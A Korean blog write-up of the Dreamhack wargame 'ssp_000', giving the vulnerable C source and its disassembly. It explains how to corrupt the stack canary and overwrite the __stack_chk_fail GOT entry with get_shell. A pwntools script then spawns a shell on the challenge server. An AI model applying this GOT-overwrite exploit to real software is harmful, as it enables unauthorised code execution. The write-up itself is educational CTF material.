https://dreamhack.io/wargame/challenges/32
문제 파일을 다운 받으면 ssp_000.c와 실행 파일이 있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
1. buf에 0x80 만큼 입력
2. addr에 입력
3. value에 입력
4. addr가 가리키는 곳에 value 저장
메인 함수의 어셈은 다음과 같다.
0x00000000004008fb <+0>: push rbp
0x00000000004008fc <+1>: mov rbp,rsp
0x00000000004008ff <+4>: sub rsp,0x70
0x0000000000400903 <+8>: mov DWORD PTR [rbp-0x64],edi
0x0000000000400906 <+11>: mov QWORD PTR [rbp-0x70],rsi
0x000000000040090a <+15>: mov rax,QWORD PTR fs:0x28
0x0000000000400913 <+24>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400917 <+28>: xor eax,eax
0x0000000000400919 <+30>: lea rdx,[rbp-0x50]
0x000000000040091d <+34>: mov eax,0x0
0x0000000000400922 <+39>: mov ecx,0x8
0x0000000000400927 <+44>: mov rdi,rdx
0x000000000040092a <+47>: rep stos QWORD PTR es:[rdi],rax
0x000000000040092d <+50>: mov eax,0x0
0x0000000000400932 <+55>: call 0x40088e <initialize>
0x0000000000400937 <+60>: lea rax,[rbp-0x50]
0x000000000040093b <+64>: mov edx,0x80
0x0000000000400940 <+69>: mov rsi,rax
0x0000000000400943 <+72>: mov edi,0x0
0x0000000000400948 <+77>: call 0x400710 <read@plt>
0x000000000040094d <+82>: mov edi,0x400a55
0x0000000000400952 <+87>: mov eax,0x0
0x0000000000400957 <+92>: call 0x4006f0 <printf@plt>
0x000000000040095c <+97>: lea rax,[rbp-0x60]
0x0000000000400960 <+101>: mov rsi,rax
0x0000000000400963 <+104>: mov edi,0x400a5d
0x0000000000400968 <+109>: mov eax,0x0
0x000000000040096d <+114>: call 0x400750 <__isoc99_scanf@plt>
0x0000000000400972 <+119>: mov edi,0x400a61
0x0000000000400977 <+124>: mov eax,0x0
0x000000000040097c <+129>: call 0x4006f0 <printf@plt>
0x0000000000400981 <+134>: lea rax,[rbp-0x58]
0x0000000000400985 <+138>: mov rsi,rax
0x0000000000400988 <+141>: mov edi,0x400a5d
0x000000000040098d <+146>: mov eax,0x0
0x0000000000400992 <+151>: call 0x400750 <__isoc99_scanf@plt>
0x0000000000400997 <+156>: mov rax,QWORD PTR [rbp-0x60]
0x000000000040099b <+160>: mov rdx,rax
0x000000000040099e <+163>: mov rax,QWORD PTR [rbp-0x58]
0x00000000004009a2 <+167>: mov QWORD PTR [rdx],rax
0x00000000004009a5 <+170>: mov eax,0x0
0x00000000004009aa <+175>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004009ae <+179>: xor rcx,QWORD PTR fs:0x28
0x00000000004009b7 <+188>: je 0x4009be <main+195>
0x00000000004009b9 <+190>: call 0x4006d0 <__stack_chk_fail@plt>
0x00000000004009be <+195>: leave
0x00000000004009bf <+196>: ret
어셈을 보고 그린 스택은 다음과 같다.
전체적인 코드를 보면 카나리 릭은 불가능해 보인다.
대신 카나리를 덮으면 무조건 __stack_chk_fail 함수가 실행되는데,__stack_chk_fail의 GOT을 addr에 넣고, value에 get_shell() 함수의 주소를 넣으면 카나리가 변조되었을 때 get_shell() 함수가 실행될 것이다.
1. buf에 아무 값 * 0x50만큼 넣어 카나리를 변조한다.
2. addr에는 __stack_chk_fail 함수의 GOT를, value에는 get_shell() 함수의 주소를 넣어 __stack_chk_fail이 호출될 때, get_shell() 함수가 호출될 수 있도록 한다.
3. 카나리 변조를 확인한 프로그램은 __stack_chk_fail 호출 -> get_shell() 실행
이를 그대로 코드로 짜면 다음과 같다.
from pwn import *
p = remote("host3.dreamhack.games", 14987)
e = ELF("./ssp_000")
context.arch = "amd64"
p.sendline(b"a"*0x50)
p.recvuntil("Addr : ")
p.sendline(str(e.got['__stack_chk_fail']))
p.recvuntil("Value : ")
p.sendline(str(0x4008ea))
p.interactive()
'드림핵 워게임' 카테고리의 다른 글
[드림핵/워게임] sint (0) | 2023.08.10 |
---|---|
[드림핵/워게임] ssp_001 (0) | 2023.08.10 |
[드림핵/워게임] Return to Shellcode (0) | 2023.08.10 |
[드림핵/워게임] web-ssrf (0) | 2023.08.03 |
[드림핵/워게임] Carve Party (0) | 2023.08.03 |